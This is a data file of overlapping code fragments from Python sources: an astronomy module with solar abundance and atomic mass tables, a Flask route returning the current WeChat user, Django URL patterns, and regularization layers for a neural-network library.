"-1) #ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') #inpabund[ind2] = np.array(labels[0])[g[ind1]] #feh = inpabund[25] #read model atmosphere",
"# Input logger if inplogger is not None: return inplogger.info # Check if",
"are Teff and logg # last two are Hydrogen and Helium solar_abund =",
"144.24, 145, 150.36, 151.964, 157.25, 158.92534, 162.50, 164.93032, 167.26, 168.93421, 173.04, 174.967, 178.49,",
"elif hasattr(builtins,\"logger\"): return builtins.logger.info # Return the buildin print function else: return builtins.print",
"directory def datadir(): \"\"\" Return the atmosnet data/ directory.\"\"\" fil = os.path.abspath(__file__) codedir",
"function else: return builtins.print # The atmosnet data directory def datadir(): \"\"\" Return",
"cspeed = 2.99792458e5 # speed of light in km/s def getprintfunc(inplogger=None): \"\"\" Allows",
"114.818, 118.710, 121.760, 127.60, 126.90447, 131.29, 132.90545, 137.327, 138.9055, 140.116, 140.90765, 144.24, 145,",
"Python 2 except ImportError: import builtins # Python 3 # Ignore these warnings,",
"-9.99, -9.99, -9.99, -9.99, -9.99, 0.06, -9.99, -0.54, -9.99, -9.99, -9.99, -9.99, -9.99,",
"2.04, 0.65, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, 0.06, -9.99, -0.54, -9.99, -9.99,",
"-20.00, -20.00]) # scale global metallicity abu = solar_abund.copy() abu[2:] += feh #",
"He abu[0:2] = mabu[0:2] return abu def elements(husser=False): \"\"\" Reads the solar elemental",
"dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') #inpabund[ind2] = np.array(labels[0])[g[ind1]] #feh = inpabund[25] #read model atmosphere atmostype, teff, logg,",
"and Sauval (2005), basically the same as #<NAME>., <NAME>., <NAME>. 2007, Space Science",
"0.911, 10.93, 1.05, 1.38, 2.70, 8.39, 7.78, 8.66, 4.56, 7.84, 6.17, 7.53, 6.37,",
"0.65, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, 0.06, -9.99, -0.54, -9.99, -9.99, -9.99,",
"-6.40, -6.61, -4.54, -7.05, -5.82, -7.85, -7.48, -9.00, -8.39, -9.74, -8.70, -9.50, -8.79,",
"break return (fdir,base,ext) def model_abund(pars): \"\"\" Model atmosphere abundances. \"\"\" # Create the",
"= dln.readlines(modelfile) # solar abundances # first two are Teff and logg #",
"2.58, 1.46, 1.88, -9.99, 1.75, 1.06, 1.65, 1.20, 1.71, 0.76, 2.04, 1.01, 2.18,",
"47.867, 50.9415, 51.9961, 54.93805, 55.845, 58.93320, 58.6934, 63.546, 65.39, 69.723, 72.61, 74.92160, 78.96,",
"1.38, 2.70, 8.39, 7.78, 8.66, 4.56, 7.84, 6.17, 7.53, 6.37, 7.51, 5.36, 7.14,",
"58.6934, 63.546, 65.39, 69.723, 72.61, 74.92160, 78.96, 79.904, 83.80, 85.4678, 87.62, 88.90585, 91.224,",
"array pertab = Table.read('/home/dnidever/payne/periodic_table.txt',format='ascii') #inpabund = np.zeros(99,np.float64) #g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) #ind1,ind2",
"of light in km/s def getprintfunc(inplogger=None): \"\"\" Allows you to modify print() locally",
"bool, optional when set the abundances adopted for Phoenix models by Huser et",
"-9.99, -9.99, 0.06, -9.99, -0.54, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99, -9.99 ]",
"datadir = codedir+'/data/' return datadir # Split a filename into directory, base and",
"the Husser et al. (2013) Phoenix model atmospheres sol = [ 12.00, 10.93,",
"!= -1) ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') abu[ind2] += (np.array(labels[0])[g[ind1]]).astype(float) - feh # convert to",
"1.42, 1.92, -9.99, 1.84, 1.12, 1.69, 0.94, 1.77, 1.60, 2.00, 1.00, 2.19, 1.51,",
"logg, vmicro2, mabu, nd, atmos = synple.read_model(modelfile) mlines = dln.readlines(modelfile) # solar abundances",
"126.90447, 131.29, 132.90545, 137.327, 138.9055, 140.116, 140.90765, 144.24, 145, 150.36, 151.964, 157.25, 158.92534,",
"-11.14, -10.29, -11.39, -20.00, -20.00, -20.00, -20.00, -20.00, -20.00, -12.02, -20.00, -12.58, -20.00,",
"-10.49, -9.80, -10.96, -9.86, -10.94, -10.46, -11.32, -10.62, -20.00, -11.08, -11.52, -10.97, -11.74,",
"import utils as dln import matplotlib.pyplot as plt try: import __builtin__ as builtins",
"(Meszaros et al. 2012) Kurucz model atmospheres. Returns ------- symbol: numpy array of",
"Split a filename into directory, base and fits extensions def splitfilename(filename): \"\"\" Split",
"-6.63, -4.92, -6.54, -5.64, -7.01, -5.70, -8.89, -7.09, -8.11, -6.40, -6.61, -4.54, -7.05,",
"!= -1) nhtot = np.float64(mlines[g[0]].split()[6]) abu[2:] /= nhtot # use model values for",
"-20.00, -10.29, -11.13, -10.47, -11.10, -10.33, -11.24, -10.00, -11.03, -9.86, -10.49, -9.80, -10.96,",
"2.29, 3.33, 2.56, 3.28, 2.60, 2.92, 2.21, 2.59, 1.42, 1.92, -9.99, 1.84, 1.12,",
"20.1797, 22.98977, 24.3050, 26.98154, 28.0855, 30.97376, 32.066, 35.4527, 39.948, 39.0983, 40.078, 44.95591, 47.867,",
"174.967, 178.49, 180.9479, 183.84, 186.207, 190.23, 192.217, 195.078, 196.96655, 200.59, 204.3833, 207.2, 208.98038,",
"# Create the input 99-element abundance array pertab = Table.read('/home/dnidever/payne/periodic_table.txt',format='ascii') #inpabund = np.zeros(99,np.float64)",
"dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H') abu[ind2] += (np.array(labels[0])[g[ind1]]).astype(float) - feh # convert to linear abu[2:] = 10**abu[2:]",
"et al. 2009 #chosen for the Husser et al. (2013) Phoenix model atmospheres",
"2.70, 8.39, 7.78, 8.66, 4.56, 7.84, 6.17, 7.53, 6.37, 7.51, 5.36, 7.14, 5.50,",
"4.56, 7.84, 6.17, 7.53, 6.37, 7.51, 5.36, 7.14, 5.50, 6.18, 5.08, 6.31, 3.05,",
"-9.99, -9.99, -9.99, -9.99, -9.99, -9.99, 0.06, -9.99, -0.54, -9.99, -9.99, -9.99, -9.99,",
"0.96, 0.52, 1.07, 0.30, 1.10, 0.48, 0.92, 0.10, 0.92, 0.10, 0.85, -0.12, 0.65,",
"-10.47, -11.10, -10.33, -11.24, -10.00, -11.03, -9.86, -10.49, -9.80, -10.96, -9.86, -10.94, -10.46,",
"= synple.read_model(modelfile) mlines = dln.readlines(modelfile) # solar abundances # first two are Teff",
"0.51, 0.93, 0.00, 1.08, 0.06, 0.88, -0.17, 1.11, 0.23, 1.45, 1.38, 1.64, 1.01,",
"Ignore these warnings, it's a bug warnings.filterwarnings(\"ignore\", message=\"numpy.dtype size changed\") warnings.filterwarnings(\"ignore\", message=\"numpy.ufunc size",
"atmosphere abundances. \"\"\" # Create the input 99-element abundance array pertab = Table.read('/home/dnidever/payne/periodic_table.txt',format='ascii')",
",'C' ,'N' ,'O' ,'F' ,'Ne', 'Na','Mg','Al','Si','P' ,'S' ,'Cl','Ar','K' ,'Ca', 'Sc','Ti','V' ,'Cr','Mn','Fe','Co','Ni','Cu','Zn', 'Ga','Ge','As','Se','Br','Kr','Rb','Sr','Y' ,'Zr',",
"atmosphere atmostype, teff, logg, vmicro2, mabu, nd, atmos = synple.read_model(modelfile) mlines = dln.readlines(modelfile)",
"-11.03, -9.86, -10.49, -9.80, -10.96, -9.86, -10.94, -10.46, -11.32, -10.62, -20.00, -11.08, -11.52,",
"synple.read_model(modelfile) mlines = dln.readlines(modelfile) # solar abundances # first two are Teff and",
"import print_function __authors__ = '<NAME> <<EMAIL>>' __version__ = '20210605' # yyyymmdd import os",
"plt try: import __builtin__ as builtins # Python 2 except ImportError: import builtins",
"-9.99, -9.99, -9.99, -9.99, -9.99 ] sol[0] = 1. for i in range(len(sol)-1):",
"the elements with [X/Fe], [X/Fe]=[X/H]-[Fe/H] g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H')",
"65.39, 69.723, 72.61, 74.92160, 78.96, 79.904, 83.80, 85.4678, 87.62, 88.90585, 91.224, 92.90638, 95.94,",
"1.12, 1.69, 0.94, 1.77, 1.60, 2.00, 1.00, 2.19, 1.51, 2.27, 1.07, 2.17, 1.13,",
"from scipy.interpolate import interp1d from dlnpyutils import utils as dln import matplotlib.pyplot as",
"0.48, 0.92, 0.10, 0.92, 0.10, 0.85, -0.12, 0.65, 0.26, 1.40, 1.38, 1.62, 0.80,",
"-4.11, -5.80, -4.44, -5.59, -4.53, -6.63, -4.92, -6.54, -5.64, -7.01, -5.70, -8.89, -7.09,",
"6.37, 7.51, 5.36, 7.14, 5.50, 6.18, 5.08, 6.31, 3.05, 4.90, 4.00, 5.64, 5.39,",
"-7.85, -7.48, -9.00, -8.39, -9.74, -8.70, -9.50, -8.79, -9.52, -9.17, -9.83, -9.46, -10.58,",
"5.50, 6.18, 5.08, 6.31, 3.05, 4.90, 4.00, 5.64, 5.39, 7.45, 4.92, 6.23, 4.21,",
"from scipy import sparse from scipy.interpolate import interp1d from dlnpyutils import utils as",
"Otherwise Asplund et al. (2005) are used -- consistent with the MARCS (Gustafsson",
"-7.09, -8.11, -6.40, -6.61, -4.54, -7.05, -5.82, -7.85, -7.48, -9.00, -8.39, -9.74, -8.70,",
"= mabu[0:2] return abu def elements(husser=False): \"\"\" Reads the solar elemental abundances From",
"5.36, 7.14, 5.50, 6.18, 5.08, 6.31, 3.05, 4.90, 4.00, 5.64, 5.39, 7.45, 4.92,",
"import numpy as np import warnings from scipy import sparse from scipy.interpolate import",
"a logger.\"\"\" # Input logger if inplogger is not None: return inplogger.info #",
"1.08, 0.06, 0.88, -0.17, 1.11, 0.23, 1.45, 1.38, 1.64, 1.01, 1.13, 0.90, 2.00,",
"and extensions.\"\"\" fdir = os.path.dirname(filename) base = os.path.basename(filename) exten = ['.fit','.fits','.fit.gz','.fits.gz','.fit.fz','.fits.fz'] for e",
",'Ca', 'Sc','Ti','V' ,'Cr','Mn','Fe','Co','Ni','Cu','Zn', 'Ga','Ge','As','Se','Br','Kr','Rb','Sr','Y' ,'Zr', 'Nb','Mo','Tc','Ru','Rh','Pd','Ag','Cd','In','Sn', 'Sb','Te','I' ,'Xe','Cs','Ba','La','Ce','Pr','Nd', 'Pm','Sm','Eu','Gd','Tb','Dy','Ho','Er','Tm','Yb', 'Lu','Hf','Ta','W' ,'Re','Os','Ir','Pt','Au','Hg', 'Tl','Pb','Bi','Po','At','Rn','Fr','Ra','Ac','Th', 'Pa','U'",
"40.078, 44.95591, 47.867, 50.9415, 51.9961, 54.93805, 55.845, 58.93320, 58.6934, 63.546, 65.39, 69.723, 72.61,",
"print function else: return builtins.print # The atmosnet data directory def datadir(): \"\"\"",
"= Table.read('/home/dnidever/payne/periodic_table.txt',format='ascii') #inpabund = np.zeros(99,np.float64) #g, = np.where(np.char.array(labels.dtype.names).find('_H') != -1) #ind1,ind2 = dln.match(np.char.array(labels.dtype.names)[g],np.char.array(pertab['symbol']).upper()+'_H')",
"2.88, 3.58, 2.29, 3.33, 2.56, 3.28, 2.60, 2.92, 2.21, 2.59, 1.42, 1.92, -9.99,",
"+= (np.array(labels[0])[g[ind1]]).astype(float) - feh # convert to linear abu[2:] = 10**abu[2:] # Divide",
"5.39, 7.45, 4.92, 6.23, 4.21, 4.60, 2.88, 3.58, 2.29, 3.33, 2.56, 3.28, 2.60,"
] |
[
"# -*- coding: utf-8 -*- from flask import g from . import bp_sample_h5_api",
"bp_sample_h5_api from .decorators import login_required from ...api_utils import * @bp_sample_h5_api.route('/current_user/', methods=['GET']) @login_required def",
"g from . import bp_sample_h5_api from .decorators import login_required from ...api_utils import *",
"methods=['GET']) @login_required def get_current_user(): \"\"\" 获取当前微信用户详情 :return: \"\"\" data = { 'wx_user': g.user.to_dict(g.fields)",
"<reponame>lvyaoo/wx-open-project # -*- coding: utf-8 -*- from flask import g from . import",
"from . import bp_sample_h5_api from .decorators import login_required from ...api_utils import * @bp_sample_h5_api.route('/current_user/',",
"* @bp_sample_h5_api.route('/current_user/', methods=['GET']) @login_required def get_current_user(): \"\"\" 获取当前微信用户详情 :return: \"\"\" data = {",
".decorators import login_required from ...api_utils import * @bp_sample_h5_api.route('/current_user/', methods=['GET']) @login_required def get_current_user(): \"\"\"",
"@login_required def get_current_user(): \"\"\" 获取当前微信用户详情 :return: \"\"\" data = { 'wx_user': g.user.to_dict(g.fields) }",
"import bp_sample_h5_api from .decorators import login_required from ...api_utils import * @bp_sample_h5_api.route('/current_user/', methods=['GET']) @login_required",
"coding: utf-8 -*- from flask import g from . import bp_sample_h5_api from .decorators",
"def get_current_user(): \"\"\" 获取当前微信用户详情 :return: \"\"\" data = { 'wx_user': g.user.to_dict(g.fields) } return",
"from ...api_utils import * @bp_sample_h5_api.route('/current_user/', methods=['GET']) @login_required def get_current_user(): \"\"\" 获取当前微信用户详情 :return: \"\"\"",
"get_current_user(): \"\"\" 获取当前微信用户详情 :return: \"\"\" data = { 'wx_user': g.user.to_dict(g.fields) } return api_success_response(data)",
"from flask import g from . import bp_sample_h5_api from .decorators import login_required from",
"flask import g from . import bp_sample_h5_api from .decorators import login_required from ...api_utils",
". import bp_sample_h5_api from .decorators import login_required from ...api_utils import * @bp_sample_h5_api.route('/current_user/', methods=['GET'])",
"login_required from ...api_utils import * @bp_sample_h5_api.route('/current_user/', methods=['GET']) @login_required def get_current_user(): \"\"\" 获取当前微信用户详情 :return:",
"import g from . import bp_sample_h5_api from .decorators import login_required from ...api_utils import",
"@bp_sample_h5_api.route('/current_user/', methods=['GET']) @login_required def get_current_user(): \"\"\" 获取当前微信用户详情 :return: \"\"\" data = { 'wx_user':",
"-*- coding: utf-8 -*- from flask import g from . import bp_sample_h5_api from",
"-*- from flask import g from . import bp_sample_h5_api from .decorators import login_required",
"import login_required from ...api_utils import * @bp_sample_h5_api.route('/current_user/', methods=['GET']) @login_required def get_current_user(): \"\"\" 获取当前微信用户详情",
"utf-8 -*- from flask import g from . import bp_sample_h5_api from .decorators import",
"import * @bp_sample_h5_api.route('/current_user/', methods=['GET']) @login_required def get_current_user(): \"\"\" 获取当前微信用户详情 :return: \"\"\" data =",
"...api_utils import * @bp_sample_h5_api.route('/current_user/', methods=['GET']) @login_required def get_current_user(): \"\"\" 获取当前微信用户详情 :return: \"\"\" data",
"from .decorators import login_required from ...api_utils import * @bp_sample_h5_api.route('/current_user/', methods=['GET']) @login_required def get_current_user():"
] |
[
"setuptools with open(\"README.md\", \"r\", encoding=\"UTF-8\") as fh: long_description = fh.read() setuptools.setup( name=\"file-explorer\", version=\"0.0.0\",",
"description=\"A simple python cli file browser\", long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/WangTingZheng/explorer\", packages=setuptools.find_packages(), install_requires=[\"pick\"], entry_points={\"console_scripts\": [\"explorer",
"long_description = fh.read() setuptools.setup( name=\"file-explorer\", version=\"0.0.0\", author=\"WangTingZheng\", author_email=\"<EMAIL>\", description=\"A simple python cli file",
"author=\"WangTingZheng\", author_email=\"<EMAIL>\", description=\"A simple python cli file browser\", long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/WangTingZheng/explorer\", packages=setuptools.find_packages(), install_requires=[\"pick\"],",
"fh: long_description = fh.read() setuptools.setup( name=\"file-explorer\", version=\"0.0.0\", author=\"WangTingZheng\", author_email=\"<EMAIL>\", description=\"A simple python cli",
"python cli file browser\", long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/WangTingZheng/explorer\", packages=setuptools.find_packages(), install_requires=[\"pick\"], entry_points={\"console_scripts\": [\"explorer = explorer.command:main\"]},",
"= fh.read() setuptools.setup( name=\"file-explorer\", version=\"0.0.0\", author=\"WangTingZheng\", author_email=\"<EMAIL>\", description=\"A simple python cli file browser\",",
"encoding=\"UTF-8\") as fh: long_description = fh.read() setuptools.setup( name=\"file-explorer\", version=\"0.0.0\", author=\"WangTingZheng\", author_email=\"<EMAIL>\", description=\"A simple",
"version=\"0.0.0\", author=\"WangTingZheng\", author_email=\"<EMAIL>\", description=\"A simple python cli file browser\", long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/WangTingZheng/explorer\", packages=setuptools.find_packages(),",
"cli file browser\", long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/WangTingZheng/explorer\", packages=setuptools.find_packages(), install_requires=[\"pick\"], entry_points={\"console_scripts\": [\"explorer = explorer.command:main\"]}, )",
"with open(\"README.md\", \"r\", encoding=\"UTF-8\") as fh: long_description = fh.read() setuptools.setup( name=\"file-explorer\", version=\"0.0.0\", author=\"WangTingZheng\",",
"import setuptools with open(\"README.md\", \"r\", encoding=\"UTF-8\") as fh: long_description = fh.read() setuptools.setup( name=\"file-explorer\",",
"\"r\", encoding=\"UTF-8\") as fh: long_description = fh.read() setuptools.setup( name=\"file-explorer\", version=\"0.0.0\", author=\"WangTingZheng\", author_email=\"<EMAIL>\", description=\"A",
"author_email=\"<EMAIL>\", description=\"A simple python cli file browser\", long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/WangTingZheng/explorer\", packages=setuptools.find_packages(), install_requires=[\"pick\"], entry_points={\"console_scripts\":",
"as fh: long_description = fh.read() setuptools.setup( name=\"file-explorer\", version=\"0.0.0\", author=\"WangTingZheng\", author_email=\"<EMAIL>\", description=\"A simple python",
"setuptools.setup( name=\"file-explorer\", version=\"0.0.0\", author=\"WangTingZheng\", author_email=\"<EMAIL>\", description=\"A simple python cli file browser\", long_description=long_description, long_description_content_type=\"text/markdown\",",
"name=\"file-explorer\", version=\"0.0.0\", author=\"WangTingZheng\", author_email=\"<EMAIL>\", description=\"A simple python cli file browser\", long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/WangTingZheng/explorer\",",
"fh.read() setuptools.setup( name=\"file-explorer\", version=\"0.0.0\", author=\"WangTingZheng\", author_email=\"<EMAIL>\", description=\"A simple python cli file browser\", long_description=long_description,",
"open(\"README.md\", \"r\", encoding=\"UTF-8\") as fh: long_description = fh.read() setuptools.setup( name=\"file-explorer\", version=\"0.0.0\", author=\"WangTingZheng\", author_email=\"<EMAIL>\",",
"simple python cli file browser\", long_description=long_description, long_description_content_type=\"text/markdown\", url=\"https://github.com/WangTingZheng/explorer\", packages=setuptools.find_packages(), install_requires=[\"pick\"], entry_points={\"console_scripts\": [\"explorer ="
] |
[
"from ... import save from .. import records from .slots import Slots globals().update(records(Slots()))",
"....data import root, parent, transaction from ...module_system import * from ... import save",
".slots import Slots globals().update(records(Slots())) def load(*args, **kwargs): from ... import load return load(sys.modules[__name__],",
"...module_system import * from ... import save from .. import records from .slots",
"import * from ... import save from .. import records from .slots import",
"import root, parent, transaction from ...module_system import * from ... import save from",
"... import save from .. import records from .slots import Slots globals().update(records(Slots())) def",
"from .. import records from .slots import Slots globals().update(records(Slots())) def load(*args, **kwargs): from",
"transaction from ...module_system import * from ... import save from .. import records",
"from ...module_system import * from ... import save from .. import records from",
"* from ... import save from .. import records from .slots import Slots",
"from __future__ import absolute_import, division, print_function import sys from ....data import root, parent,",
"division, print_function import sys from ....data import root, parent, transaction from ...module_system import",
"import records from .slots import Slots globals().update(records(Slots())) def load(*args, **kwargs): from ... import",
"absolute_import, division, print_function import sys from ....data import root, parent, transaction from ...module_system",
"save from .. import records from .slots import Slots globals().update(records(Slots())) def load(*args, **kwargs):",
"from .slots import Slots globals().update(records(Slots())) def load(*args, **kwargs): from ... import load return",
"Slots globals().update(records(Slots())) def load(*args, **kwargs): from ... import load return load(sys.modules[__name__], *args, **kwargs)",
"import sys from ....data import root, parent, transaction from ...module_system import * from",
"import Slots globals().update(records(Slots())) def load(*args, **kwargs): from ... import load return load(sys.modules[__name__], *args,",
"parent, transaction from ...module_system import * from ... import save from .. import",
"sys from ....data import root, parent, transaction from ...module_system import * from ...",
"import absolute_import, division, print_function import sys from ....data import root, parent, transaction from",
"import save from .. import records from .slots import Slots globals().update(records(Slots())) def load(*args,",
"from ....data import root, parent, transaction from ...module_system import * from ... import",
"__future__ import absolute_import, division, print_function import sys from ....data import root, parent, transaction",
"print_function import sys from ....data import root, parent, transaction from ...module_system import *",
"records from .slots import Slots globals().update(records(Slots())) def load(*args, **kwargs): from ... import load",
".. import records from .slots import Slots globals().update(records(Slots())) def load(*args, **kwargs): from ...",
"root, parent, transaction from ...module_system import * from ... import save from .."
] |
[
"views.ServiceList.as_view()), url(r'^service/(?P<pk>[0-9]+)/$', views.ServiceDetail.as_view()), # Service Provider api url(r'^service-provider/$', views.ServiceProviderList.as_view()), url(r'^service-provider/(?P<pk>[0-9]+)/$', views.ServiceProviderDetail.as_view()), # Auth",
"Service api url(r'^service/$', views.ServiceList.as_view()), url(r'^service/(?P<pk>[0-9]+)/$', views.ServiceDetail.as_view()), # Service Provider api url(r'^service-provider/$', views.ServiceProviderList.as_view()), url(r'^service-provider/(?P<pk>[0-9]+)/$',",
". import views urlpatterns = [ # Serve web app url(r'^$', views.index), #",
"views.index), # Service api url(r'^service/$', views.ServiceList.as_view()), url(r'^service/(?P<pk>[0-9]+)/$', views.ServiceDetail.as_view()), # Service Provider api url(r'^service-provider/$',",
"views urlpatterns = [ # Serve web app url(r'^$', views.index), # Service api",
"web app url(r'^$', views.index), # Service api url(r'^service/$', views.ServiceList.as_view()), url(r'^service/(?P<pk>[0-9]+)/$', views.ServiceDetail.as_view()), # Service",
"[ # Serve web app url(r'^$', views.index), # Service api url(r'^service/$', views.ServiceList.as_view()), url(r'^service/(?P<pk>[0-9]+)/$',",
"# Service Provider api url(r'^service-provider/$', views.ServiceProviderList.as_view()), url(r'^service-provider/(?P<pk>[0-9]+)/$', views.ServiceProviderDetail.as_view()), # Auth url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')),",
"url(r'^service/(?P<pk>[0-9]+)/$', views.ServiceDetail.as_view()), # Service Provider api url(r'^service-provider/$', views.ServiceProviderList.as_view()), url(r'^service-provider/(?P<pk>[0-9]+)/$', views.ServiceProviderDetail.as_view()), # Auth url(r'^api-auth/',",
"= [ # Serve web app url(r'^$', views.index), # Service api url(r'^service/$', views.ServiceList.as_view()),",
"api url(r'^service/$', views.ServiceList.as_view()), url(r'^service/(?P<pk>[0-9]+)/$', views.ServiceDetail.as_view()), # Service Provider api url(r'^service-provider/$', views.ServiceProviderList.as_view()), url(r'^service-provider/(?P<pk>[0-9]+)/$', views.ServiceProviderDetail.as_view()),",
"from . import views urlpatterns = [ # Serve web app url(r'^$', views.index),",
"url(r'^service/$', views.ServiceList.as_view()), url(r'^service/(?P<pk>[0-9]+)/$', views.ServiceDetail.as_view()), # Service Provider api url(r'^service-provider/$', views.ServiceProviderList.as_view()), url(r'^service-provider/(?P<pk>[0-9]+)/$', views.ServiceProviderDetail.as_view()), #",
"django.conf.urls import url, include from . import views urlpatterns = [ # Serve",
"urlpatterns = [ # Serve web app url(r'^$', views.index), # Service api url(r'^service/$',",
"app url(r'^$', views.index), # Service api url(r'^service/$', views.ServiceList.as_view()), url(r'^service/(?P<pk>[0-9]+)/$', views.ServiceDetail.as_view()), # Service Provider",
"# Service api url(r'^service/$', views.ServiceList.as_view()), url(r'^service/(?P<pk>[0-9]+)/$', views.ServiceDetail.as_view()), # Service Provider api url(r'^service-provider/$', views.ServiceProviderList.as_view()),",
"url(r'^$', views.index), # Service api url(r'^service/$', views.ServiceList.as_view()), url(r'^service/(?P<pk>[0-9]+)/$', views.ServiceDetail.as_view()), # Service Provider api",
"views.ServiceDetail.as_view()), # Service Provider api url(r'^service-provider/$', views.ServiceProviderList.as_view()), url(r'^service-provider/(?P<pk>[0-9]+)/$', views.ServiceProviderDetail.as_view()), # Auth url(r'^api-auth/', include('rest_framework.urls',",
"# Serve web app url(r'^$', views.index), # Service api url(r'^service/$', views.ServiceList.as_view()), url(r'^service/(?P<pk>[0-9]+)/$', views.ServiceDetail.as_view()),",
"<gh_stars>0 from django.conf.urls import url, include from . import views urlpatterns = [",
"include from . import views urlpatterns = [ # Serve web app url(r'^$',",
"url, include from . import views urlpatterns = [ # Serve web app",
"from django.conf.urls import url, include from . import views urlpatterns = [ #",
"Service Provider api url(r'^service-provider/$', views.ServiceProviderList.as_view()), url(r'^service-provider/(?P<pk>[0-9]+)/$', views.ServiceProviderDetail.as_view()), # Auth url(r'^api-auth/', include('rest_framework.urls', namespace='rest_framework')), ]",
"import url, include from . import views urlpatterns = [ # Serve web",
"import views urlpatterns = [ # Serve web app url(r'^$', views.index), # Service",
"Serve web app url(r'^$', views.index), # Service api url(r'^service/$', views.ServiceList.as_view()), url(r'^service/(?P<pk>[0-9]+)/$', views.ServiceDetail.as_view()), #"
] |
[
"str, *args, **kwargs): self.__name = name.lower() self.__regularization = None if self.__name in regularization_map:",
"*args, **kwargs): self.__name = name.lower() self.__regularization = None if self.__name in regularization_map: self.__regularization",
"self.__name = name.lower() self.__regularization = None if self.__name in regularization_map: self.__regularization = regularization_map[self.__name](*args,",
"= name.lower() self.__regularization = None if self.__name in regularization_map: self.__regularization = regularization_map[self.__name](*args, **kwargs)",
"= None if self.__name in regularization_map: self.__regularization = regularization_map[self.__name](*args, **kwargs) else: raise ValueError('No",
"= RegularizationL2.regularization_term regularization_map = { 'l1': RegularizationL1, 'l2': RegularizationL2, } def register_regularization(name: str,",
"RegularizationL2.regularization_term regularization_map = { 'l1': RegularizationL1, 'l2': RegularizationL2, } def register_regularization(name: str, regularization:",
"pass class RegularizationL1(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay: float): return target_symbol(Abs())(ReduceSum())(Mul(),decay) class RegularizationL2(RegularizationLayer):",
"@staticmethod def regularization_term(target_symbol: V, decay: float): return target_symbol(Pow(),2)(ReduceSum())(Pow(),0.5)(Mul(),decay) regularization_l1 = RegularizationL1.regularization_term regularization_l2 =",
"def regularization_term(target_symbol: V, decay: float): return target_symbol(Pow(),2)(ReduceSum())(Pow(),0.5)(Mul(),decay) regularization_l1 = RegularizationL1.regularization_term regularization_l2 = RegularizationL2.regularization_term",
"target_symbol(Pow(),2)(ReduceSum())(Pow(),0.5)(Mul(),decay) regularization_l1 = RegularizationL1.regularization_term regularization_l2 = RegularizationL2.regularization_term regularization_map = { 'l1': RegularizationL1, 'l2':",
"RegularizationL1, 'l2': RegularizationL2, } def register_regularization(name: str, regularization: RegularizationLayer): regularization_map[name.lower()] = regularization class",
"regularization_map: self.__regularization = regularization_map[self.__name](*args, **kwargs) else: raise ValueError('No such regularization: {}'.format(name)) def regularization_layer(self):",
"from ..sheng import V,Pow,Mul,ReduceSum,Abs class RegularizationLayer: def regularization_term(self, *args, **kwargs): pass class RegularizationL1(RegularizationLayer):",
"import V,Pow,Mul,ReduceSum,Abs class RegularizationLayer: def regularization_term(self, *args, **kwargs): pass class RegularizationL1(RegularizationLayer): @staticmethod def",
"decay: float): return target_symbol(Abs())(ReduceSum())(Mul(),decay) class RegularizationL2(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay: float): return",
"str, regularization: RegularizationLayer): regularization_map[name.lower()] = regularization class Regularization: def __init__(self, name: str, *args,",
"**kwargs): self.__name = name.lower() self.__regularization = None if self.__name in regularization_map: self.__regularization =",
"class RegularizationL2(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay: float): return target_symbol(Pow(),2)(ReduceSum())(Pow(),0.5)(Mul(),decay) regularization_l1 = RegularizationL1.regularization_term",
"if self.__name in regularization_map: self.__regularization = regularization_map[self.__name](*args, **kwargs) else: raise ValueError('No such regularization:",
"return target_symbol(Pow(),2)(ReduceSum())(Pow(),0.5)(Mul(),decay) regularization_l1 = RegularizationL1.regularization_term regularization_l2 = RegularizationL2.regularization_term regularization_map = { 'l1': RegularizationL1,",
"def regularization_term(self, *args, **kwargs): pass class RegularizationL1(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay: float):",
"RegularizationL2(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay: float): return target_symbol(Pow(),2)(ReduceSum())(Pow(),0.5)(Mul(),decay) regularization_l1 = RegularizationL1.regularization_term regularization_l2",
"class RegularizationL1(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay: float): return target_symbol(Abs())(ReduceSum())(Mul(),decay) class RegularizationL2(RegularizationLayer): @staticmethod",
"RegularizationL1(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay: float): return target_symbol(Abs())(ReduceSum())(Mul(),decay) class RegularizationL2(RegularizationLayer): @staticmethod def",
"regularization_term(target_symbol: V, decay: float): return target_symbol(Pow(),2)(ReduceSum())(Pow(),0.5)(Mul(),decay) regularization_l1 = RegularizationL1.regularization_term regularization_l2 = RegularizationL2.regularization_term regularization_map",
"class RegularizationLayer: def regularization_term(self, *args, **kwargs): pass class RegularizationL1(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V,",
"float): return target_symbol(Abs())(ReduceSum())(Mul(),decay) class RegularizationL2(RegularizationLayer): @staticmethod def regularization_term(target_symbol: V, decay: float): return target_symbol(Pow(),2)(ReduceSum())(Pow(),0.5)(Mul(),decay)",
"} def register_regularization(name: str, regularization: RegularizationLayer): regularization_map[name.lower()] = regularization class Regularization: def __init__(self,",
"RegularizationLayer): regularization_map[name.lower()] = regularization class Regularization: def __init__(self, name: str, *args, **kwargs): self.__name",
"name.lower() self.__regularization = None if self.__name in regularization_map: self.__regularization = regularization_map[self.__name](*args, **kwargs) else:",
"self.__regularization = None if self.__name in regularization_map: self.__regularization = regularization_map[self.__name](*args, **kwargs) else: raise",
